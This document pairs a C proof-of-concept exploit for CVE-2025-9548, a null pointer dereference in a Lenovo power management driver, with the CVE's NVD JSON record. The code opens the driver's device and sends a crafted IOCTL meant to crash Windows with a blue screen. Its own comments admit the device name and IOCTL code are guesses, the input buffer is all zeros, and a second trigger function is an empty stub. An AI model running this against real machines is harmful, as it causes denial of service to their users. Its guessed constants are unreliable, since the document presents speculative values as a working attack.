CVE-2025-9548

// CVE-2025-9548 PoC - Lenovo Power Management Driver Null Pointer Dereference // This PoC demonstrates how to trigger the null pointer dereference vulnerability // in the Lenovo Power Management Driver to cause a Windows BSOD (Blue Screen). // // Note: This vulnerability requires local authenticated access with low privileges. // The exploit works by sending a specially crafted IOCTL request to the driver // without proper parameter validation, causing a null pointer dereference. #include <windows.h> #include <stdio.h> // Device name for Lenovo Power Management Driver // The exact device name may vary depending on the driver version #define LENOVO_PM_DEVICE "\\\\.\\LenovoPMDrv" // IOCTL code - This needs to be determined through reverse engineering // of the specific driver version. The vulnerable IOCTL handles power // management requests without proper null pointer checks. #define IOCTL_TRIGGER_VULN 0x00222000 int main() { HANDLE hDevice; DWORD bytesReturned; BOOL result; // Input buffer - crafted to trigger null pointer dereference // The exact structure depends on the driver's IOCTL handler char inputBuffer[16] = {0}; char outputBuffer[16] = {0}; printf("[+] CVE-2025-9548 PoC - Lenovo PM Driver NPD Trigger\n"); printf("[*] Attempting to open driver device...\n"); // Open a handle to the vulnerable driver hDevice = CreateFileA( LENOVO_PM_DEVICE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[*] Make sure the Lenovo PM Driver is installed and accessible.\n"); return 1; } printf("[+] Device opened successfully: 0x%p\n", hDevice); printf("[*] Sending crafted IOCTL request to trigger null pointer dereference...\n"); // Send the malicious IOCTL request // The crafted input buffer is designed to cause the driver to // dereference a null pointer during processing result = DeviceIoControl( hDevice, IOCTL_TRIGGER_VULN, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL sent successfully. System may BSOD if vulnerable.\n"); } CloseHandle(hDevice); return 0; } // Alternative trigger method using symbolic link access // Some versions of the driver expose functionality through different paths int triggerViaSymbolicLink() { // Additional trigger vectors may include: // 1. Sending specific power management events via power management API // 2. Triggering specific system state transitions (sleep/hibernate) // 3. Accessing specific driver registry keys with crafted values // The exact trigger mechanism requires driver reverse engineering // to identify the specific code path with the null pointer dereference return 0; }

{"cve": {"id": "CVE-2025-9548", "sourceIdentifier": "[email protected]", "published": "2025-10-15T15:16:07.080", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A potential null pointer dereference vulnerability was reported in the Lenovo Power Management Driver that could allow a local authenticated user to cause a Windows blue screen error."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://support.lenovo.com/us/en/product_security/LEN-203293", "source": "[email protected]"}]}}